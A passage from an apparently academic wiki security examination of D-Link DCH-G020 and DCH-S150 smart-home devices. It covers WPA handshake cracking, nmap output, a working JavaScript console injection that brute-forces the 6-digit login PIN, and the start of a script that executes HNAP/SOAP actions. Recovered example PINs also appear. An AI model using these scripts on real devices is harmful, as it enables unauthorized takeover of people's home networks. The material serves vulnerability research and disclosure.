&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Kernel cmdline&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;console=ttyS0,115200 init=/sbin/init &amp;lt;br&amp;gt;root=31:6 rootfstype=squashfs &amp;lt;br&amp;gt;mtdparts=${mtdparts}&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;console=ttyS0,115200 init=/sbin/init &amp;lt;br&amp;gt;root=31:8 rootfstype=squashfs &amp;lt;br&amp;gt;mtdparts=${mtdparts} mem=32M&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Shell&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh / ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh / ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BusyBox&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.21.1–LSDK-10.2 (2016-06-29)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.21.1–LSDK (2018-01-03)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Services&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;lighttpd/1.4.34;&amp;lt;br&amp;gt;hostapd v2.0-devel;&amp;lt;br&amp;gt;udhcpc (v1.21.1);&amp;lt;br&amp;gt;control_center;&amp;lt;br&amp;gt;app_center;&amp;lt;br&amp;gt;lan_center;&amp;lt;br&amp;gt;wifi_center;&amp;lt;br&amp;gt;dchc_center;&amp;lt;br&amp;gt;zw_meter_check;&amp;lt;br&amp;gt;zw_center (/dev/ttyACM0)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;lighttpd/1.4.48;&amp;lt;br&amp;gt;hostapd v2.0-devel; &amp;lt;br&amp;gt;control_center; &amp;lt;br&amp;gt;lan_center;&amp;lt;br&amp;gt;wifi_center;&amp;lt;br&amp;gt;dchc_center;&amp;lt;br&amp;gt;nf_conntrack version 0.5.0&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;!--&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=packed-hover heights=180px&amp;gt;&lt;br /&gt;
image:DCH-G020_and_DCH-S150_Device_Overview.png|Device Overview&lt;br /&gt;
image:DCH-G020_and_DCH-S150_Results.png|Results&lt;br /&gt;
&amp;lt;/gallery&amp;gt;--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Online&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h3&amp;gt;WLAN&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;To successfully compromise the MyDlink Home product line using HNAP or any other TCP/IP-based attack, it is necessary to gain access to WLAN the devices are operating in. The basis of the method used in this examination lies in capturing of the WPA/WPA2 authentication handshake and then cracking the Pre-Shared Key (PSK). Wi-Fi Protected Access (WPA) and Wi-Fi Protected Access 2 (WPA2) are security protocols to secure wireless networks. While WPA/WPA2 superseded the previous flawed system Wired Equivalent Privacy (WEP), WPA has also its security issues. It remains vulnerable to Brute Force attacks of weak passphrases. Whenn initially configuring the devices, the [[:D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|DCH-S150 Motion Sensor]] exposes an unsecured WLAN with access to the device. This WLAN network will be switched of, once the device is setup using the App and subsequently paired with the [[D-LINK® DCH-G020 Gateway Connected Home Hub|DCH-G020 Home Hub]], while that device keeps its AP up and running the whole time.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The HNAP API may be used to setup the device manually without using the corrensponding APP by configuring the  [[:D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|DCH-S150 Motion Sensor]] using the HNAP1 &amp;lt;code&amp;gt;SetAPClientSettings&amp;lt;/code&amp;gt; method. &amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Deauthentication Attack&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The [[WPA/WPA2 PSK deauthentication attack with aircrack-ng|attack]] in this examination was carried out using the tool [[aircrack-ng]]. Since the setup was already in a working condition, the client, in this case the motion sensor, was forced to deauthenticate from the access point, in this case being the hub. The goal is to force the motion sensor to no longer associate with the access point and ultimately causing reauthentication using aireplay-ng. Furthermore, it is possible to capture the new authentication handshake. Through this WPA/WPA2-PSK was obtained and using [[John the Ripper]] or [[Hashcat]] it was attempted to crack the password with a suitable word list. More about this process can be found in the article [[WPA/WPA2 PSK deauthentication attack]].&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Network Mapper&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;!--&amp;lt;h4&amp;gt;D-Link® DCH-G020: Gateway Connected Home Hub&amp;lt;/h4&amp;gt;--&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; D-Link® DCH-G020: Gateway Connected Home Hub&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
PORT      STATE SERVICE VERSION&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp    open  http    lighttpd 1.4.34&lt;br /&gt;
|_http-server-header: lighttpd/1.4.34&lt;br /&gt;
|_http-title: 400 - Bad Request&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;49152&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp open  upnp    Cisco-Linksys E4200 WAP upnpd (UPnP 1.0)&lt;br /&gt;
&lt;br /&gt;
MAC Address: C4:12:F5:1A:58:F4 (D-Link International)&lt;br /&gt;
Device type: general purpose&lt;br /&gt;
Running: Linux 2.6.X&lt;br /&gt;
OS CPE: cpe:/o:linux:linux_kernel:2.6&lt;br /&gt;
OS details: Linux 2.6.17 - 2.6.36&lt;br /&gt;
Service Info: CPE: cpe:/h:cisco:e4200&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&amp;lt;h4&amp;gt;D-Link® DCH-S150: Home Wi-Fi Motion Sensor&amp;lt;/h4&amp;gt;--&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; D-Link® DCH-S150: Home Wi-Fi Motion Sensor&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;width: 100%; text-align: left;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp    open     http    lighttpd 1.4.48&lt;br /&gt;
|_http-server-header: lighttpd/1.4.48&lt;br /&gt;
|_http-title: Site doesn&#039;t have a title (text/html).&lt;br /&gt;
&lt;br /&gt;
MAC Address: C4:12:F5:1C:8E:4C (D-Link International)&lt;br /&gt;
Device type: general purpose&lt;br /&gt;
Running: Linux 2.6.X&lt;br /&gt;
OS CPE: cpe:/o:linux:linux_kernel:2.6&lt;br /&gt;
OS details: Linux 2.6.17 - 2.6.36&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Web Interface&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;A compressed copy of the [[D-LINK® DCH-G020 Gateway Connected Home Hub|DCH-G020 Home Hub]] client-side webpage can be found [[Media:DCH-G020_webpage.zip|here]]. And a compressed copy of the [[:D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|DCH-S150 Motion Sensor]] client-side webpage can be found [[Media:DCH-S150_webpage.zip|here]]. The website does have authentication options using challenge-response mechanisms. The webpage it self provides no functionalities besides authentication and displaying some few device information. It is very interesting, that it is not possible to change any configuration of the device in the web interface at all. Legitimate users can’t manage their devices through the web interface. Since the device can be managed through HNAP actions, the next logical step was to forge HNAP messages to manipulate the device.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; D-Link® DCH-G020: Gateway Connected Home Hub&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;DCH-G020 Home Hub: Webpage&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #a7d7f9; background-color: #f8f9fa; border-radius: 3px&amp;quot; heights=250px&amp;gt;&lt;br /&gt;
image:DCH-G020_webpage_login.png|Login.html&lt;br /&gt;
image:DCH-G020_webpage_firmware.png|Firmware.html&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; D-Link® DCH-S150: Home Wi-Fi Motion Sensor&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;width: 100%; text-align: left;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;DCH-S150 Motion Sensor: Webpage&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #a7d7f9; background-color: #f8f9fa; border-radius: 3px&amp;quot; heights=250px&amp;gt;&lt;br /&gt;
image:DCH-S150_webpage_Login.png|Login.html&lt;br /&gt;
image:DCH-S150_webpage_version.png|version.txt&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Brute-Force Pin&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;To attack the web interface pin, access to the wireless network of the devices is necessary. From this point forward, this examination proceeds on the assumption that access was gained to network. The employed password for the web interface is a numeric 6-char Pin which is hardcoded with the device, leading to a keyspace of only 10&amp;lt;sup&amp;gt;7&amp;lt;/sup&amp;gt;-1 possible password within &amp;lt;code&amp;gt;^[0-9]{6}$&amp;lt;/code&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: This password is used with the web interface login form and also for authentication within HNNAP actions from the corresponding mobile application. Thus it is used for manual execution of HNAP actions in further steps.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Requesting the web page of the device with the assigned IP address in a browser yields a login form with pre-filled username “Admin”. One can view the &amp;lt;code&amp;gt;Login.html&amp;lt;/code&amp;gt; and its association JavaScript files (.js), which are &amp;lt;code&amp;gt;AES.js&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;hmac_md5.js&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;soapclient.js&amp;lt;/code&amp;gt;. The latter confirms that the motion sensor uses SOAP protocol. Each of these script files has proven useful and have been used to provide the basic functionality for injecting SOAP actions. Upon further investigating the HTTP service &amp;lt;code&amp;gt;do_login()&amp;lt;/code&amp;gt; function was discovered. This method is called upon clicking the &amp;lt;code&amp;gt;Login&amp;lt;/code&amp;gt; button. It loads the input parameters of &amp;lt;code&amp;gt;User Name&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;Password&amp;lt;/code&amp;gt; and verifies the authentication of said parameters. Using this method, a script was written to brute force the 6-digit pin of the web interface. This Script completely uses existing functions provided by the device but specialised tools like [[THC-Hydra]] may also be used. In order to execute the stcript, launch the the web browsers console within its developer tools. By copy pasting the below script to the console, the &amp;lt;code&amp;gt;send_login_cmd_result()&amp;lt;/code&amp;gt; function will be overridden. From initially alerting the user if the login was unsuccessful to trying the next possible password on failure. In order to use existing code, the new password to try is simply written into the corresponding HTML input field. Additionally, this input field is switched from &amp;lt;code&amp;gt;type=&#039;password&#039;&amp;lt;/code&amp;gt; to &amp;lt;code&amp;gt;type=&#039;text&#039;&amp;lt;/code&amp;gt; for better BF progress visualisation.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;nowiki&amp;gt;Brute-Force_Pin.inject.js&amp;lt;/nowiki&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
For execution this code must be injected into the client-side mydlink web page via the browser console.&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
// Use timer&lt;br /&gt;
//27s per 100 tries; estimated max: 3.1days; Avg: 1.55days&lt;br /&gt;
//20s per 100 tries with 4 web &amp;quot;threads&amp;quot;; estimated max: 2.3days; Avg: 1.15days&lt;br /&gt;
var t0 = performance.now();&lt;br /&gt;
&lt;br /&gt;
// Example Pins&lt;br /&gt;
// DCH-S150: 653508&lt;br /&gt;
// DCH-G020: 139885&lt;br /&gt;
let PIN = 0, MAX = 999999;&lt;br /&gt;
&lt;br /&gt;
// Override embedded function&lt;br /&gt;
function send_login_cmd_result ( http_req ) {&lt;br /&gt;
    // Parse response from login action to XML&lt;br /&gt;
    $xml = $( $.parseXML( http_req.responseText ) );&lt;br /&gt;
&lt;br /&gt;
    // Check if login attempt was successful&lt;br /&gt;
    if( $xml.find( LOGIN + &amp;quot;Result&amp;quot; ).text() == &amp;quot;success&amp;quot; )&lt;br /&gt;
    {&lt;br /&gt;
        // Stop timer&lt;br /&gt;
        var t1 = performance.now();&lt;br /&gt;
        // Display valid password and time&lt;br /&gt;
        alert( &amp;quot;PIN: &amp;quot; + PIN + &#039;\n&#039; + &amp;quot;Time: &amp;quot; + (t1-t0)/1000 +  &amp;quot;s.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
    // Increment PIN if not reached MAX&lt;br /&gt;
    else if ( ++PIN &amp;lt;= MAX )&lt;br /&gt;
    {&lt;br /&gt;
        // Try next PIN&lt;br /&gt;
        bfPIN();&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Added function to set new PIN and trigger login process&lt;br /&gt;
function bfPIN ()&lt;br /&gt;
{&lt;br /&gt;
    // Save (String)PIN&lt;br /&gt;
    sPIN = (&amp;quot;000000&amp;quot;+PIN).substr((&amp;quot;000000&amp;quot;+PIN).length-6)&lt;br /&gt;
    // Set sPIN to #user_pwd input field&lt;br /&gt;
    $(&amp;quot;#user_pwd&amp;quot;).val(sPIN);&lt;br /&gt;
    // Trigger login process&lt;br /&gt;
    do_login();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Replace input fields from type password with type text for visibility and progress insights&lt;br /&gt;
$(&#039;body&#039;)&lt;br /&gt;
   .find(&#039;input:password&#039;)&lt;br /&gt;
   .each( function() {&lt;br /&gt;
      $(&amp;quot;&amp;lt;input type=&#039;text&#039; /&amp;gt;&amp;quot;)&lt;br /&gt;
         .attr({ id: this.id, name: this.name, value: this.value })&lt;br /&gt;
         .insertBefore(this);&lt;br /&gt;
   })&lt;br /&gt;
   .remove();&lt;br /&gt;
&lt;br /&gt;
// Start all the above&lt;br /&gt;
bfPIN();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;nowiki&amp;gt;Brute-Force_Pin.inject.min.js&amp;lt;/nowiki&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
let PIN = 0, MAX = 999999;&lt;br /&gt;
&lt;br /&gt;
//Override embedded function&lt;br /&gt;
function send_login_cmd_result (http_req) {&lt;br /&gt;
    $xml = $($.parseXML(http_req.responseText));&lt;br /&gt;
    if(http_req &amp;amp;&amp;amp; $xml.find(LOGIN + &amp;quot;Result&amp;quot;).text() == &amp;quot;success&amp;quot;){&lt;br /&gt;
        alert(PIN);&lt;br /&gt;
    } else if ( ++PIN &amp;lt;= MAX ) {&lt;br /&gt;
        $(&amp;quot;#user_pwd&amp;quot;).val((&amp;quot;000000&amp;quot;+PIN).substr((&amp;quot;000000&amp;quot;+PIN).length-6));&lt;br /&gt;
        do_login();&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Start bruteforcing PIN&lt;br /&gt;
send_login_cmd_result({&amp;quot;responseText&amp;quot;: null});&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;:  It is important to mention, that the &amp;lt;code&amp;gt;do_login()&amp;lt;/code&amp;gt; method has not been changed in any way for this attack. The only method that has been altered is the &amp;lt;code&amp;gt;send_login_cmd_result()&amp;lt;/code&amp;gt; to bypass the “Password wrong”-notifications, resulting in a more time-efficient and simple brute force attack using existing code.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The login process can be analyzed using Wireshark or similar tools&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;It is possible to attempt 100 tries in 20 seconds while executing the script four times in parallel. Unfortunately the motion sensor couldn’t handle more than four “threads”, attempts were skipped and the whole process became slower.  With 1 million different combinations the expected value of tries in a successful brute force attack amounts to 500,000 on average. Therefore, it is estimated that one can crack the pin in ca. 1.15 days on average with a maximum of ca. 2.3 days.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Proof-of-Concept&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;Proof-of-Concept&amp;quot; mode=packed-hover heights=250px&amp;gt;&lt;br /&gt;
image:DCH-S150_webpage_login_bf.png|653508&lt;br /&gt;
image:DCH-G020_webpage_login_bf.png|139885&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;After authentication and redirection, one is presented with the content of &amp;lt;code&amp;gt;http://$IP/version.txt&amp;lt;/code&amp;gt; &amp;lt;b&amp;gt;as shown above&amp;lt;/b&amp;gt;. It is possible to extract a lot of information about the device, such as the firmware installed on it, the kernel, the MAC address and several drivers among other things.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Execute SOAP Actions&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The first thing examined was the devices resistance against replay attacks. None of the attempts worked, so it can be concluded that HNAP security is mindful of attacks of this kind. As a result, the web interface was investigated in detail to learn about the employed communication process as also for [[#Brute-Force Pin|brute-forcing the PIN]]. It was learned that login is basically also an HNAP action, which after being enforced successfully enables a session. All the actions listed in the result of the &amp;lt;code &amp;lt;nowiki&amp;gt;http://$IP/HNAP1&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; are executable based on the established keys and authentication values. It is necessary to accentuate that absolutely no keys or values were forged in this examination to prosperously execute an HNAP action within a once established session. Neither was it necessary to write any kind of script or use a separate SOAP client for the task. The class SoapClient which is already provided by the webpage, was used to carry out the attack. The only thing which was altered was the &amp;lt;code&amp;gt;send_login_cmd_result()&amp;lt;/code&amp;gt; function, to allow for executing self-composed actions. This function calls an injected function called &amp;lt;code&amp;gt;send_custom_cmd()&amp;lt;/code&amp;gt;. Therefore it is called when a successful login occurs. The second function which was added is the &amp;lt;code&amp;gt;send_custom_cmd_result()&amp;lt;/code&amp;gt;, which acts as a listener and is being called whenever a response is received. Through these minor changes the established session can be exploited to enforce any HNAP action. Fig.14 shows the execution of HNAP action GetDeviceSettings, which represents an action where it’s not needed to set any parameters in the HNAP_PARAM field, since it’s a “get”-method. Fig.15 shows the execution of SetAPClientSettings, where parameters have been set, to reconfigure the clients’ access point settings.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;nowiki&amp;gt;execute_SOAPaction.inject.js&amp;lt;/nowiki&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
For execution this code must be injected into the client-side mydlink web page via the browser console.&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var HNAP_ACTION  = &amp;quot;GetDeviceSettings&amp;quot;;&lt;br /&gt;
var HNAP_PARAM   = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
var PIN = &amp;quot;653508&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
function send_custom_cmd(){&lt;br /&gt;
    var client = new SoapClient();&lt;br /&gt;
    var user_pwd   = document.getElementById(&amp;quot;user_pwd&amp;quot;).value;&lt;br /&gt;
    var challenge  = localStorage.getItem(&amp;quot;Challenge&amp;quot;);&lt;br /&gt;
    var privateKey = localStorage.getItem(&amp;quot;PrivateKey&amp;quot;);&lt;br /&gt;
    var login_pwd  = hex_hmac_md5(privateKey, challenge);&lt;br /&gt;
&lt;br /&gt;
    client.sendRequest(HNAP_ACTION, HNAP_PARAM, send_custom_cmd_result, true);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function send_custom_cmd_result(http_req){&lt;br /&gt;
    console.log(http_req.responseText);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
